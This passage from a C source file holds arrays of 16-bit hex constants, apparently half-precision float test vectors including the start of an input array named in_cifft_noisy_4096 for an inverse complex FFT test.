0x2c68, 0x0, 0xb78e, 0x0, 0xb946, 0x0, 0xb7d9, 0x0,
0xadf1, 0x0, 0x3834, 0x0, 0x387a, 0x0, 0x3826, 0x0,
0x2b6f, 0x0, 0xb71d, 0x0, 0xb977, 0x0, 0xb6f6, 0x0,
0x301a, 0x0, 0x3792, 0x0, 0x395d, 0x0, 0x3684, 0x0,
0xa8e6, 0x0, 0xb808, 0x0, 0xb99e, 0x0, 0xb7fb, 0x0,
0xab40, 0x0, 0x389a, 0x0, 0x39f9, 0x0, 0x37a2, 0x0,
0x9b8, 0x0, 0xb7e7, 0x0, 0xb9d2, 0x0, 0xb74e, 0x0,
0xadce, 0x0, 0x377e, 0x0, 0x39c6, 0x0, 0x3690, 0x0,
0x2590, 0x0, 0xb730, 0x0, 0xb9ed, 0x0, 0xb6d1, 0x0,
0xe54, 0x0, 0x383c, 0x0, 0x3947, 0x0, 0x365d, 0x0,
0x9e3a, 0x0, 0xb6b5, 0x0, 0xb9fd, 0x0, 0xb7d7, 0x0,
0xa7ae, 0x0, 0x373e, 0x0, 0x3a1f, 0x0, 0x3812, 0x0,
0xa170, 0x0, 0xb7c2, 0x0, 0xba07, 0x0, 0xb5be, 0x0,
0x1ef8, 0x0, 0x3815, 0x0, 0x3914, 0x0, 0x37b3, 0x0,
0xa99b, 0x0, 0xb752, 0x0, 0xb962, 0x0, 0xb848, 0x0,
0x2ce3, 0x0, 0x375c, 0x0, 0x39e5, 0x0, 0x380b, 0x0,
0xb04a, 0x0, 0xb67d, 0x0, 0xb9b0, 0x0, 0xb754, 0x0,
0xa570, 0x0, 0x3854, 0x0, 0x39ab, 0x0, 0x3779, 0x0,
0x2509, 0x0, 0xb87a, 0x0, 0xb9f1, 0x0, 0xb721, 0x0,
0x29d5, 0x0, 0x3823, 0x0, 0x3a37, 0x0, 0x37dd, 0x0,
0xaa7c, 0x0, 0xb648, 0x0, 0xb916, 0x0, 0xb8ac, 0x0,
0x2cc8, 0x0, 0x3849, 0x0, 0x39bc, 0x0, 0x3817, 0x0,
0x2c15, 0x0, 0xb6ce, 0x0, 0xb94d, 0x0, 0xb647, 0x0,
0x24b6, 0x0, 0x37c0, 0x0, 0x398e, 0x0, 0x3775, 0x0,
0xacd5, 0x0, 0xb659, 0x0, 0xb9ad, 0x0, 0xb848, 0x0,
0x2bd6, 0x0, 0x386e, 0x0, 0x38c2, 0x0, 0x3756, 0x0,
0x29a4, 0x0, 0xb6c2, 0x0, 0xb98c, 0x0, 0xb78d, 0x0,
0x2a26, 0x0, 0x374a, 0x0, 0x3a01, 0x0, 0x378d, 0x0,
0xa7ee, 0x0, 0xb81e, 0x0, 0xb941, 0x0, 0xb808, 0x0,
0x2075, 0x0, 0x3885, 0x0, 0x397d, 0x0, 0x384f, 0x0,
0x2d21, 0x0, 0xb7af, 0x0, 0xb929, 0x0, 0xb88d, 0x0,
0xa5fb, 0x0, 0x36fc, 0x0, 0x397c, 0x0, 0x3770, 0x0,
0x233d, 0x0, 0xb76f, 0x0, 0xb99a, 0x0, 0xb8a3, 0x0,
0x9c8d, 0x0, 0x374c, 0x0, 0x39d5, 0x0, 0x373a, 0x0,
0x285c, 0x0, 0xb86e, 0x0, 0xb9c7, 0x0, 0xb6f4, 0x0,
0x1c15, 0x0, 0x383a, 0x0, 0x3952, 0x0, 0x3853, 0x0,
0x2696, 0x0, 0xb815, 0x0, 0xb96b, 0x0, 0xb819, 0x0,
0xaa40, 0x0, 0x372e, 0x0, 0x3937, 0x0, 0x3873, 0x0,
0xa6a2, 0x0, 0xb819, 0x0, 0xb9b4, 0x0, 0xb725, 0x0
};
static const uint16_t in_cifft_noisy_4096[8192] = {
0x441e, 0x0, 0x4119, 0xc64c, 0x3f26, 0x4329, 0x3f1f, 0x40d1,
0xc2c4, 0x42e4, 0xb980, 0x3be4, 0x2e72, 0x4333, 0xbf43, 0x2cf3,
0x42fc, 0xb51f, 0xbd3d, 0xc1c9, 0xc43f, 0x407f, 0x3b59, 0xbde6,
0x3fb9, 0x39f4, 0x3890, 0x38cb, 0xbd03, 0x43e6, 0x3ca5, 0x36db,
0xbf29, 0x4525, 0x35bb, 0xc197, 0x409a, 0x315d, 0xb403, 0x409d,
0x4266, 0xb2c6, 0xbac9, 0xc083, 0xbfbd, 0xba76, 0xb8c3, 0xc3ed,
0xbd45, 0x408c, 0x4251, 0xc43c, 0xbc72, 0x44b5, 0xc5b2, 0x456b,
0x2631, 0x4100, 0x3ce0, 0x424e, 0xb8e1, 0x38f1, 0xbd62, 0xc17b,
0xc1b8, 0xb297, 0x3de2, 0xc050, 0x3cf8, 0x3f8a, 0xa020, 0x3c68,
0xc090, 0x3e33, 0x3ae0, 0xc4ab, 0x3f67, 0x42f7, 0x3db9, 0xc3ee,
0xc5da, 0xc0d3, 0xc25c, 0xc61b, 0x433e, 0xc0fd, 0xa66b, 0xbdf1,
0xbbd0, 0xc244, 0x32c0, 0x450a, 0xbd76, 0xbb55, 0x43a3, 0xbee9,
0x4116, 0x3e2b, 0xc31b, 0x3cad, 0x3ddf, 0x2650, 0x39b9, 0x3869,
0xbe88, 0x330c, 0xb941, 0xc21c, 0xbcd6, 0x3df1, 0xb912, 0xc085,
0x3ebe, 0x39ed, 0x3d6c, 0x395e, 0x3476, 0xabb7, 0x3ba9, 0xba31,
0x3d32, 0x2f72, 0x26ef, 0x3c29, 0xbcd9, 0x43e0, 0x3f89, 0xc197,
0xc26d, 0xc271, 0x429a, 0x4052, 0xb7d9, 0x320d, 0x3c8f, 0xc0d4,
0xbb8f, 0x4414, 0x408f, 0x4147, 0xbf95, 0xbe45, 0x3c3a, 0x38e1,
0x419b, 0x4470, 0xc394, 0xb8d8, 0x44b8, 0x3e1e, 0x412f, 0x3a59,
0x3f11, 0xbdfb, 0x3ad4, 0xbafe, 0x4427, 0xc42f, 0x3a8d, 0x3ddc,
0x40ca, 0xbd34, 0xbce8, 0x407e, 0xc03f, 0xb0dc, 0x3894, 0xc473,
0xb877, 0xc1a5, 0x41e7, 0xbe81, 0xc3f1, 0x4011, 0xc351, 0xc549,
0xc43b, 0xbced, 0x4147, 0x4032, 0x3cb3, 0x3d31, 0x382f, 0x34ec,
0x3a6c, 0xc11e, 0xb8c3, 0x4364, 0x3f1c, 0x3916, 0xc1cc, 0xb563,
0xc57d, 0x360a, 0x4004, 0xaabb, 0x3889, 0xb84c, 0x3c74, 0x443d,
0xbabc, 0x3f4f, 0x3a84, 0xba2b, 0x3c18, 0xc177, 0x3783, 0x31a6,
0x4128, 0xb8e2, 0x3ac0, 0x3a5a, 0x4018, 0xa2ce, 0xc0eb, 0xc458,
0x427a, 0xb972, 0x40b8, 0xbacf, 0xbdc6, 0xbb66, 0x3dca, 0x3792,
0x3ae8, 0xba0a, 0xbf8c, 0xc241, 0x3ecd, 0xaff6, 0xc085, 0x4567,
0xc10b, 0x3a35, 0x459b, 0xc26d, 0x404a, 0x3303, 0xbb62, 0xb81b,
0x3ff8, 0x44f0, 0x3ea6, 0x40ee, 0xb2d2, 0xc571, 0xbcfa, 0x282f,
0xc484, 0x4002, 0x410a, 0xbfef, 0x4001, 0xbed1, 0xb84c, 0xb5d5,
0x38dc, 0x44bd, 0xbf11, 0xb6c2, 0xc5fb, 0x3e04, 0xbc3b, 0xbf30,
0xbf9f, 0x3d8f, 0x36c9, 0xb909, 0xc008, 0x434d, 0xb08f, 0xabb7,
0xbc64, 0x433e, 0x3d6d, 0xb380, 0x3836, 0x392e, 0x34c6, 0xb39e,
0x3c3b, 0x44ec, 0x3373, 0xbf13, 0x42ce, 0xbd7e, 0x3233, 0xc17f,
0xc403, 0xc20e, 0x3440, 0x4221, 0xc029, 0x3e97, 0x36f3, 0x434d,
0xb8e1, 0x39ac, 0xbdc7, 0xc01e, 0xc664, 0xbcaa, 0xc1e5, 0x4191,
0x3e0c, 0x3a02, 0xbc43, 0xad53, 0x3eb9, 0xbd8e, 0x36af, 0x41a9,
0xaa53, 0x4208, 0x40c1, 0xba58, 0x4466, 0x42d2, 0x3f43, 0xc174,
0x40fe, 0xc315, 0xbc32, 0xb783, 0x4108, 0xb004, 0x3d50, 0xb966,
0xb54b, 0xb7b4, 0xc2ac, 0xc4bc, 0xbf60, 0x4184, 0x3067, 0x2bca,
0x4304, 0xae1d, 0x4072, 0xb420, 0x458f, 0x3765, 0xbf8d, 0xc028,
0xbc1c, 0x3bab, 0x3fd8, 0xc7ba, 0xb564, 0x3967, 0x3ca4, 0xc0d0,
0xc0cc, 0x30ff, 0x3627, 0xc361, 0xc25d, 0xbef5, 0xc18b, 0x4356,
0xba5c, 0xbe08, 0x40c9, 0x3843, 0x3d6c, 0xbd67, 0xbbe2, 0x4438,
0x3ee7, 0xc07c, 0x41f3, 0x3ce0, 0x40e8, 0x3d0d, 0xbe37, 0xc25f,
0x4080, 0x3faa, 0xc211, 0xc0f1, 0xaca3, 0xbdf7, 0xc088, 0xbcbe,
0x3f73, 0xc330, 0xc0b2, 0xc0bd, 0xbcf8, 0x3de3, 0xbfa4, 0x359b,
0x41e8, 0xc118, 0x4187, 0x3dc3, 0xc11c, 0x4116, 0x3e8e, 0xc258,
0x3fba, 0x3d4e, 0x4163, 0x40e2, 0xbc2d, 0xbc68, 0xc1c0, 0x3e66,
0xc12e, 0x414e, 0xbb98, 0xbf0e, 0x3fa4, 0xb086, 0xbf71, 0xbd82,
0x4596, 0xc27f, 0xb51b, 0xbfbd, 0xc25f, 0xc24b, 0xbe3e, 0xb806,
0x3d8a, 0xb42c, 0x4174, 0xbb1e, 0xba82, 0x3a1a, 0x3fc2, 0x405d,
0xc178, 0xc1a0, 0xc098, 0x440c, 0xc09a, 0x3d45, 0x4271, 0x2c1e,
0x403e, 0xc440, 0x4034, 0xbd13, 0x34e7, 0x3938, 0xc044, 0xc6af,
0xbb09, 0x416a, 0x3c5e, 0xbcaa, 0xb9bc, 0xc046, 0xba96, 0x4223,
0x38ce, 0xb5b7, 0x4478, 0xb8e8, 0x3c24, 0x4240, 0x404b, 0x389a,
0xc1b2, 0x391f, 0xc188, 0xbf6f, 0x45cf, 0xbc37, 0xb92e, 0xc023,
0x4007, 0xb216, 0xb600, 0x4112, 0x372b, 0x38f9, 0x3641, 0x42aa,
0xba29, 0xbe4b, 0xb2aa, 0xc4de, 0x3f9f, 0xc37c, 0xc05a, 0x45b1,
0x418d, 0x351e, 0x35cb, 0x33ec, 0x40fc, 0x34e2, 0x3787, 0x430c,
0x3125, 0x3e4e, 0xb5dc, 0xbdc9, 0xb920, 0xbec8, 0xb822, 0x3b75,
0x3d3b, 0x408c, 0x43ac, 0xbd1b, 0x3ebc, 0xbc42, 0x412e, 0x36d7,
0xbc72, 0xc090, 0xbe6c, 0xbe5f, 0x3e73, 0xb66b, 0x3f20, 0xba90,
0xc00f, 0x40f0, 0x34f3, 0xa925, 0xc25e, 0x41a1, 0x35e4, 0xc1be,
0x3aad, 0x2f85, 0x407c, 0xb5d0, 0xbeb2, 0xb063, 0xc38b, 0xc194,
0xb9e2, 0xc13e, 0xbd63, 0x3c89, 0xbbd8, 0x3b0b, 0x3a24, 0x3e5e,
0x40db, 0xbbbd, 0x411f, 0x3efa, 0xbb4d, 0x44c8, 0xc07a, 0xb86c,
0xb93d, 0x40f0, 0x3d90, 0xc006, 0xbf5f, 0x452d, 0xc04f, 0xb9b1,
0xc0e8, 0xb4c8, 0x4644, 0xc25a, 0xc401, 0x3e93, 0x3946, 0xbee0,
0xc440, 0xb808, 0x40ef, 0xb94b, 0x3fe5, 0x2ef7, 0x3cd6, 0x40df,
0x3abf, 0x3fd4, 0x3b6c, 0xb8d0, 0x3ce4, 0x4465, 0x41a5, 0x3b0c,
0xc47b, 0x41ac, 0x3ccc, 0xbca4, 0x3812, 0xc0bf, 0x35ed, 0xc1d0,
0x3b6a, 0x3cbc, 0x40e4, 0xc2a0, 0x3465, 0x3e4d, 0x2ca1, 0xc050,
0x401b, 0xc01f, 0x4266, 0xbf8f, 0xb9b1, 0xc2ce, 0xba1f, 0x3833,
0x434d, 0xc2fd, 0xbe3f, 0xbd11, 0xc46a, 0xc542, 0xb933, 0xc47b,
0x4328, 0x3afc, 0x4465, 0xa8c5, 0x3e0e, 0x3f55, 0x440d, 0xbbb6,
0x23ab, 0x411e, 0x32ec, 0x3dbb, 0xc085, 0xc29e, 0x3d20, 0x4475,
0xbc6c, 0x4575, 0x417f, 0x4440, 0xbc94, 0x3bdd, 0x40ba, 0xac3d,
0xb02f, 0x41cf, 0x39ea, 0xc261, 0x426f, 0xb4c3, 0x419e, 0x335b,
0xbed5, 0xc20b, 0x4038, 0x3db4, 0x2ed9, 0x38bb, 0x3e06, 0xc25e,
0xb96f, 0x351a, 0x425a, 0xbe50, 0xbeea, 0xc14f, 0xbdeb, 0xbbc9,
0xbdad, 0x329e, 0x439e, 0xc10d, 0x3896, 0xc5aa, 0x3bcb, 0x3c30,
0xa3d5, 0xbcd9, 0x464c, 0x401a, 0x3117, 0xc164, 0x4572, 0x4575,
0xc189, 0xa49c, 0xbe80, 0xb8c5, 0x3da2, 0xbe6f, 0x42ef, 0x38a7,
0xc515, 0x3371, 0xbe5e, 0x3fa2, 0x30d4, 0x35fb, 0x424c, 0xc0e8,
0xc35e, 0xbcde, 0xc3f4, 0x34f3, 0x3e2d, 0x3dcc, 0x3c44, 0x3b5e,
0xbe82, 0xbb3f, 0x3a0a, 0xc17a, 0xc477, 0xbf88, 0xbe88, 0xaddf,
0xb5a9, 0x3d09, 0x3ec0, 0x39f8, 0xc4de, 0x38b2, 0x40ef, 0xbb7a,
0xbe7c, 0xc107, 0x359c, 0x40f9, 0x4214, 0xc287, 0xc138, 0xbdd3,
0x37c8, 0x425e, 0x342e, 0xbc8c, 0x3ff3, 0xbc03, 0xc2fe, 0xbacd,
0x3759, 0xb154, 0x3f21, 0x3f0c, 0x386d, 0x4408, 0x2d05, 0xbf82,
0xb722, 0x9fe0, 0x2cdf, 0x39fc, 0xb382, 0x3d55, 0xbb3f, 0x4174,
0x40d8, 0x340d, 0x3b22, 0x3d5c, 0xc3c4, 0xc063, 0xc088, 0x41d1,
0xc6e0, 0x962f, 0xc005, 0x3cec, 0xbe49, 0x4053, 0xadb4, 0x3d2d,
0x42ca, 0x3ac8, 0xc102, 0xb2e9, 0x441e, 0x40a4, 0xaba7, 0xbf4a,
0xb7a5, 0x43dd, 0xbbbb, 0x44f5, 0xc459, 0xc271, 0x412b, 0xbe8c,
0x405e, 0xc563, 0x3f11, 0xc51e, 0xb8d0, 0x416e, 0x3d13, 0xb7fd,
0xbcf8, 0x42fe, 0x3c52, 0xc016, 0xc0f5, 0x41ae, 0xbff8, 0xb6b0,
0xbacc, 0xb7a8, 0xbd41, 0xbdb7, 0xc566, 0x3f85, 0x41ed, 0xb166,
0x30da, 0xc212, 0x3a36, 0x2346, 0xc01f, 0x3cf7, 0x3d28, 0x3c17,
0x4174, 0x3d01, 0xc1c5, 0xbd3d, 0xb823, 0xc484, 0xc043, 0xbf82,
0xbd60, 0x3ecb, 0xbc4a, 0xc31c, 0x4283, 0x2a2f, 0xbfc5, 0x3580,
0xc32c, 0xaf3b, 0x3f06, 0xbb95, 0xb8cf, 0xb9a7, 0x3fc1, 0xc063,
0xbd5a, 0x3de8, 0x4416, 0xbc96, 0x3b52, 0x3e21, 0x3ea3, 0x38a7,
0x4214, 0xbc23, 0x42f9, 0x3d72, 0x1f31, 0x3a92, 0x43a7, 0x3e6d,
0xc0b7, 0xc43e, 0x1f18, 0xc43b, 0xc0e2, 0xc072, 0xbdf2, 0x4502,
0x3bf4, 0xbe58, 0x2fb4, 0x3c4f, 0x37c3, 0xb9de, 0x3cd8, 0x4117,
0xb867, 0x3d48, 0xbc4e, 0x3d6f, 0xba24, 0x4173, 0xbc2f, 0x9eb9,
0xc23d, 0x3c33, 0x4064, 0xb638, 0x382a, 0xc3e7, 0x4155, 0x31b3,
0xc0f4, 0x4180, 0xb7f0, 0x3873, 0xb893, 0x3b50, 0xbac9, 0x34a8,
0x3c7b, 0x3849, 0x307b, 0x3ca7, 0xc261, 0xc316, 0xc3dc, 0xc332,
0x36f5, 0x37ed, 0xb565, 0x3926, 0xb7cd, 0xaf49, 0x4050, 0x410f,
0xc0c7, 0x4612, 0xb145, 0xb95d, 0xc463, 0xc270, 0x4229, 0x46a7,
0x3e1b, 0xc2a5, 0xbd4e, 0xc0b1, 0x39b8, 0x3d52, 0x386b, 0x3e52,
0x378e, 0x3741, 0x35c9, 0x449c, 0xb476, 0xb6a9, 0xc14d, 0xb8e9,
0xc2f9, 0x3855, 0xc036, 0xbe9a, 0xb29d, 0xbc5a, 0xc162, 0x3626,
0x420d, 0x410e, 0x3845, 0x42c0, 0x426e, 0x3cd3, 0x3962, 0x351a,
0x44c6, 0x4427, 0x3745, 0xbb87, 0xbaa4, 0xade5, 0x3d67, 0x4142,
0xbc8e, 0xa628, 0x3cea, 0x32d3, 0x44ec, 0x4508, 0xc186, 0xb899,
0x44ca, 0xbc84, 0xbe34, 0x41d9, 0xaaee, 0xc15b, 0x4331, 0x4221,
0xbd12, 0xc117, 0xc2ed, 0xc23a, 0xbe8f, 0xbe1c, 0x30bb, 0x35df,
0x34fc, 0xbab3, 0x425d, 0xbacd, 0xc064, 0xc525, 0x3f51, 0x40a8,
0x4301, 0x3eec, 0xc1e5, 0x3c5f, 0xc39f, 0xc1bc, 0xc16f, 0xc15c,
0xbde5, 0x3c8b, 0x2f2e, 0x296a, 0x4407, 0xc32e, 0x3a9d, 0x341c,
0x4317, 0xbeb7, 0xc366, 0x3811, 0x422b, 0x4089, 0xbf69, 0x3ffa,
0x3f55, 0x3f77, 0xb516, 0x3d29, 0x3a4e, 0xbc95, 0x4154, 0xc15d,
0xb663, 0xe59a, 0x42df, 0xbfee, 0x40f6, 0x3def, 0xc1ce, 0xbc6f,
0x40c0, 0x3b59, 0xc04b, 0xbf27, 0xc4ab, 0x42d7, 0xc11c, 0x4293,
0xc1fa, 0x4250, 0x24a0, 0x433d, 0xbe24, 0x4015, 0x3e64, 0xc3ba,
0xc491, 0xc0ac, 0xc0ba, 0x4027, 0x3ed3, 0xb6ac, 0x3b10, 0xb95a,
0x3698, 0xc3e5, 0xc683, 0x3f40, 0xc4b6, 0xbd6b, 0x37be, 0x40a9,
0xbcfd, 0xb5bb, 0x439a, 0xbebb, 0x3ec6, 0x3c3e, 0xb5f7, 0x4126,
0x3889, 0xc05e, 0x41be, 0x4598, 0xbe9b, 0x410d, 0xb6f4, 0xbc1e,
0xbbd5, 0xc156, 0x402c, 0x3a14, 0xc0f6, 0xbf82, 0x3c8b, 0xc2ed,
0x3921, 0x3bb5, 0xc486, 0xbe17, 0x3eb6, 0xbb0e, 0x437f, 0xc003,
0xbb28, 0xba71, 0xb886, 0x3e95, 0xbf10, 0xc490, 0x3d49, 0xc197,
0xb833, 0x3f66, 0xbef1, 0xc2c7, 0x9bf8, 0xc307, 0x3c21, 0xc22f,
0xbd82, 0xbb03, 0xbee7, 0x41d6, 0x3df7, 0xbeef, 0xb9ce, 0xbbe9,
0x31a8, 0x409d, 0xb609, 0xb989, 0xb429, 0x3a75, 0x3c8b, 0x3a2e,
0xc207, 0x3056, 0x3a84, 0xbc48, 0x3103, 0x3327, 0xb44f, 0x37ce,
0xb8d1, 0x3588, 0x4033, 0x37d9, 0x3db4, 0x3ec7, 0x2c51, 0xc33e,
0xbc7b, 0x3d59, 0xb9a5, 0x4122, 0x3c24, 0x4483, 0xc363, 0xc12c,
0x4337, 0x2afb, 0xc396, 0x3506, 0x3d9b, 0xbfe4, 0x3d00, 0x40b2,
0x41ee, 0x403b, 0x4089, 0xbf65, 0xbfe1, 0x388e, 0x3a2f, 0x440e,
0xc1c6, 0xc38d, 0xb7ba, 0x21c3, 0x41c9, 0x426d, 0xc03c, 0xc148,
0xbc3d, 0x4059, 0x3963, 0xb951, 0xbc61, 0xbb62, 0xc134, 0x358e,
0x3c5d, 0x418e, 0xbcb6, 0xbab2, 0xbc2b, 0x460d, 0x447f, 0x41c6,
0xbe61, 0x4237, 0x3878, 0x38ff, 0x37d2, 0x3fce, 0x23d1, 0xbb9e,
0xbc0d, 0x3fb3, 0x31c2, 0xb8db, 0xbd9e, 0xc006, 0x3e00, 0xba50,
0x3dca, 0x37cb, 0xc4fa, 0x3b31, 0x36a3, 0x3c0f, 0x40d2, 0x40da,
0x4209, 0x3dd4, 0x44f3, 0x3b2a, 0xafaa, 0xba1f, 0x4420, 0xc55c,
0xc22e, 0xbd66, 0x40d8, 0x40a0, 0xc2d7, 0xb90f, 0xc36f, 0x40c5,
0x376c, 0x343a, 0xb7bd, 0xc100, 0xb312, 0x3826, 0x446d, 0xbfcf,
0x3356, 0x3905, 0xc121, 0xc0d3, 0x299e, 0x433f, 0xc408, 0x455f,
0xc272, 0x3ed9, 0xbe56, 0x4497, 0x3620, 0x3f72, 0xbe4f, 0xbe4e,
0x42fe, 0xc206, 0x41aa, 0xbc0c, 0x3f90, 0x41ae, 0xb088, 0x449c,
0xc027, 0xba58, 0x4451, 0xc0fc, 0x400e, 0x3643, 0xb91b, 0x3cd4,
0x3c83, 0xc087, 0x3c31, 0x41db, 0x457a, 0x3d9e, 0xbe0a, 0xba46,
0x442e, 0x37d3, 0x3efb, 0xbd0a, 0xb63c, 0xbe73, 0x3589, 0x3b40,
0xb676, 0xc4e1, 0xb99d, 0x394b, 0xbf25, 0xb125, 0x41b3, 0x3b1f,
0xbf2b, 0x4034, 0xc381, 0x2d1c, 0xbee5, 0x3446, 0xb4da, 0x386f,
0xb718, 0xbf0d, 0x3708, 0xc0dc, 0xb5f5, 0xc00b, 0x3c95, 0x3a04,
0x41e4, 0xc132, 0xc069, 0xb40d, 0xc04a, 0x2f4f, 0xc3d7, 0xbc20,
0x406f, 0xbd59, 0xc471, 0xb26c, 0x3c57, 0xba06, 0x42cd, 0x364f,
0xc4a6, 0x4344, 0x3eb0, 0xb030, 0x4083, 0xbe4c, 0x40a0, 0x3f1e,
0x39cb, 0xb828, 0x354c, 0x4555, 0x3b6a, 0xbb1c, 0xc2f2, 0x3816,
0x40b4, 0x37c8, 0xb0d5, 0xb9ee, 0xbb02, 0x40df, 0x32ba, 0xc294,
0x3ec1, 0xc433, 0xbe4c, 0x3660, 0xb95d, 0xc2db, 0xc138, 0x923f,
0x42db, 0xb012, 0x41b2, 0x417e, 0x4120, 0xb461, 0xbe16, 0x3dd8,
0xc2ae, 0x3a73, 0x4131, 0x3cef, 0x386d, 0x3d79, 0x3ca1, 0xc461,
0x43c5, 0xae38, 0x38b0, 0xb819, 0xc0a5, 0xc20f, 0xc2fa, 0x3fa9,
0x3eaa, 0xa57e, 0x3b3b, 0x3c9a, 0x427e, 0xbc23, 0xc22b, 0x4124,
0xbe1a, 0x330b, 0xb03e, 0x383f, 0xc004, 0xbda3, 0xbcf9, 0xc5a2,
0x3e58, 0xc4a1, 0x3acf, 0xc120, 0xbfb8, 0x416c, 0xbbfc, 0xc006,
0x3d30, 0x3d69, 0x41d7, 0x40c6, 0x406f, 0xbc67, 0x4116, 0xb5c9,
0xaf89, 0xb103, 0x3c8c, 0xc10b, 0xbd15, 0x402d, 0x4395, 0xc031,
0x38a3, 0x4040, 0xbc1a, 0xabef, 0x4150, 0xbb04, 0x3d12, 0xba93,
0xbd6f, 0x33b6, 0x3e4d, 0x415d, 0xac78, 0xc152, 0x4144, 0x39d5,
0x3b42, 0x3df9, 0x3c15, 0xbc7d, 0x4649, 0x3d45, 0xc187, 0x4481,
0xc1c3, 0x34ba, 0x43ab, 0x3090, 0x3c22, 0xbbc2, 0x3ea7, 0x388b,
0x3c39, 0xbfab, 0x3566, 0xbdcd, 0x3e08, 0xb919, 0xb84a, 0xc189,
0x3ae9, 0x41b8, 0xbcbd, 0x3c99, 0x44a7, 0xc4e5, 0xc46d, 0x341a,
0xb815, 0x4045, 0xb316, 0xc0b3, 0xc22a, 0xc148, 0x448f, 0xbccf,
0x3c99, 0xb427, 0x4252, 0xc336, 0x469a, 0x4004, 0x3ece, 0xb54f,
0xc164, 0xbe6d, 0x4184, 0xc0ec, 0x40c5, 0x4180, 0x3e4d, 0x359e,
0xc363, 0x352e, 0xc40d, 0x3560, 0xbe9b, 0xbcdd, 0x3ee0, 0xc0f0,
0x3b9a, 0xbd50, 0x3127, 0x407b, 0xae58, 0xac1a, 0xc5a5, 0xc085,
0x3a2a, 0x38c5, 0x3c98, 0xb6ea, 0xc42a, 0xc240, 0xba8c, 0xbc9d,
0xb1f3, 0x3eb0, 0x4369, 0xc0e3, 0xbe05, 0x3de2, 0x3c8e, 0xa902,
0xbd79, 0xba48, 0x418d, 0x384d, 0xc11a, 0x4633, 0x3d1b, 0x3129,
0xb5b8, 0x34f6, 0x33e4, 0xb964, 0xb370, 0x3e62, 0xc270, 0xc221,
0xba85, 0x3d12, 0xbb26, 0xbf25, 0x3dc7, 0x3ccc, 0x38b1, 0xab0f,
0x3e33, 0x3833, 0x428e, 0xbd0c, 0x4053, 0xbef9, 0xbc1a, 0x309a,
0xc18c, 0x4152, 0xba96, 0xc2b6, 0xb409, 0x26b1, 0xc00a, 0x41b7,
0xc0df, 0x3faf, 0x41f1, 0xb839, 0x3f5c, 0xc23f, 0x3092, 0x3d5a,
0x41c3, 0x3d7a, 0x3c2d, 0x3ef6, 0x3d7c, 0xbaf8, 0x4446, 0x4243,
0x2e4a, 0x31da, 0x44a6, 0x3a2d, 0x4003, 0x3e06, 0x34cf, 0xbdd5,
0xc107, 0x3ae4, 0xc1b5, 0xbd0d, 0xb5f3, 0xb65c, 0xbca6, 0xb40e,
0xbe22, 0xc048, 0x3d32, 0x38b5, 0x3a2f, 0xbba9, 0xbe8e, 0xc0f7,
0xb4b1, 0xbe56, 0x3c58, 0x3da4, 0x3d62, 0x3a14, 0xc2a9, 0xc46f,
0x42a7, 0xb158, 0x3520, 0xc00c, 0xc31c, 0xb5e2, 0xc064, 0x44a1,
0xbf65, 0xbbb7, 0xbca1, 0x379b, 0x383d, 0xb8ea, 0xc1b5, 0x4703,
0x3cc9, 0xc1aa, 0x408a, 0xb8b8, 0x4328, 0xc41f, 0xbf58, 0xbd38,
0xb9a4, 0x4054, 0x40f5, 0xbaf8, 0x4514, 0xb0e6, 0xbeac, 0xb2d7,
0x37f7, 0xb9a2, 0x4488, 0x38cc, 0x45fe, 0x41e8, 0xbe1f, 0x4091,
0xbe84, 0x4586, 0xc412, 0xbb55, 0x3e85, 0x3c2e, 0xbd85, 0x3abd,
0x3bb3, 0x398e, 0xb7d9, 0xbda4, 0x367d, 0x442e, 0x400c, 0x4326,
0xc16c, 0xbe6f, 0xb7e6, 0x4494, 0xbd87, 0xb977, 0xc4ff, 0xc035,
0x426e, 0xbf8e, 0xc448, 0xbd9f, 0xc263, 0xbd0c, 0xbf10, 0x4472,
0xb9db, 0xbda8, 0x3df9, 0x43b0, 0xbc81, 0x3dec, 0xbb4d, 0xc0fe,
0x360b, 0xb0e2, 0xb47e, 0xb9d0, 0x4336, 0xbcc5, 0xc104, 0x3f47,
0x4068, 0xc2c5, 0xbfb0, 0x4110, 0xbd90, 0xbfa3, 0x3fb6, 0x2c06,
0xc16f, 0xc443, 0x3c88, 0x4224, 0x4152, 0x33f2, 0x3f9f, 0xb927,
0xbdd6, 0xc29c, 0x4048, 0x3b5d, 0x40a4, 0xbd79, 0x40e5, 0xbf17,
0xc3a5, 0x3c70, 0x44db, 0xc418, 0x34c9, 0xb2d7, 0x3d0a, 0x41a1,
0x4399, 0xb7e9, 0xc38f, 0xc17e, 0xc41e, 0x42c5, 0xc45d, 0xc01c,
0xc019, 0x3ffc, 0x3955, 0xba5e, 0x37d3, 0x3dbe, 0x2cf0, 0x349e,
0xbcbf, 0xbd67, 0xbfc1, 0xbe7c, 0xb8e6, 0xbd54, 0x41fe, 0xbf33,
0xbdc2, 0xbf9b, 0x3167, 0x44da, 0x3c6d, 0xb8c1, 0x36c8, 0xb8ac,
0xb406, 0xc3b9, 0xc0e1, 0xb803, 0xc245, 0x3ea0, 0x4296, 0x46c8,
0x41bf, 0x40ca, 0x35ad, 0x3d38, 0xb4db, 0x4271, 0xb463, 0x3979,
0x2fbe, 0xbb6f, 0xb521, 0xb129, 0xba77, 0xbb55, 0x41fb, 0xbda5,
0x40af, 0x4021, 0x3d0b, 0xb35c, 0xb4ad, 0x37f0, 0xc0dd, 0x3d81,
0x4102, 0x3a78, 0x3de6, 0xb631, 0xbd68, 0x378e, 0x4066, 0xc096,
0xb297, 0x38ad, 0xbe40, 0x391b, 0x307d, 0x3c08, 0x3d30, 0xb4c4,
0xc146, 0xbe98, 0x3e64, 0xc195, 0x4317, 0xbca0, 0x4021, 0x42bd,
0xbbbc, 0xc1c2, 0xbc49, 0x4097, 0x442b, 0xb8e6, 0xbc69, 0x3bab,
0xc0ce, 0x3ca5, 0xb709, 0xbf4e, 0x3c68, 0xb781, 0xc019, 0xbd39,
0x371f, 0x4090, 0x3a84, 0x3eed, 0xbb45, 0xae5d, 0x4168, 0x38d7,
0xc164, 0xbcad, 0xbb2c, 0xc02b, 0xbda8, 0x416c, 0xbfac, 0xb418,
0xb41c, 0x425f, 0xb876, 0x31da, 0x3d82, 0xb444, 0x345a, 0xc106,
0xbabd, 0x3e28, 0x38d1, 0x3292, 0x44bd, 0x3c93, 0x40e8, 0x3ec7,
0x396b, 0xb84d, 0x38c5, 0x3e65, 0xc055, 0xc3d4, 0x4424, 0xbbf6,
0xb1ef, 0xbb47, 0xbd36, 0xbd0a, 0xbbe0, 0xb8ea, 0x3c98, 0xb83f,
0xc00b, 0x3c72, 0x3ff0, 0xacfa, 0x388a, 0x400f, 0x2e7c, 0xbd3d,
